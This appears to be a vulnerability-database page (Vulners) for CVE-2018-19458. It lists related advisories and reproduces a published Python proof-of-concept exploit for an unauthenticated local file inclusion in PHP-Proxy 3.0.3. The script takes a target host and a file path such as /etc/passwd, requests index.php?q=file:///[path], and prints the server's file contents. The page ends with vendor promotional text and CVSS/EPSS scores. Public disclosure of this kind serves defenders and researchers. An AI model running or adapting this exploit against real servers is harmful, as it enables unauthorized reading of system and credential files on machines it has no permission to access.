PHP Proxy 3.0.3 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| PHP Proxy Arbitrary File Read (CVE-2018-19458) | 21 Apr 202100:00 | – | checkpoint_advisories | |
| CVE-2018-19458 | 22 Nov 201820:00 | – | cve | |
| CVE-2018-19458 | 22 Nov 201820:00 | – | cvelist | |
| Unauthenticated File Read in PHP Proxy | 14 May 202201:48 | – | github | |
| Improper Authentication | 22 Nov 201800:00 | – | gitlab | |
| PHP Proxy 3.0.3 - Local File Inclusion | 19 Aug 202604:15 | – | nuclei | |
| CVE-2018-19458 | 22 Nov 201820:29 | – | nvd | |
| CVE-2018-19458 | 22 Nov 201820:29 | – | osv | |
| GHSA-3X3M-P2WX-G7CW Unauthenticated File Read in PHP Proxy | 14 May 202201:48 | – | osv | |
| Authentication flaw | 22 Nov 201820:29 | – | prion |
10
# Exploit Title: PHP-Proxy 3.0.3 - Local File Inclusion
# Date: 04.11.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://github.com/Athlon1600/php-proxy-app
# Version: v3.0.3
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target/index.php?q=file:///[FilePath]
# PoC
#!/usr/bin/python
import urllib2, httplib, sys
print "\n[*] PHP-Proxy 3.0.3 LFI PoC By AkkuS"
print "[*] My Blog - https://www.pentest.com.tr\n"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <target_ip/domain>"
exit(0)
ip_add = sys.argv[1]
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/index.php?q=file:///" + fd + ""
print urllib2.urlopen(URL).read()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Nov 2018 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 37.5
EPSS0.32885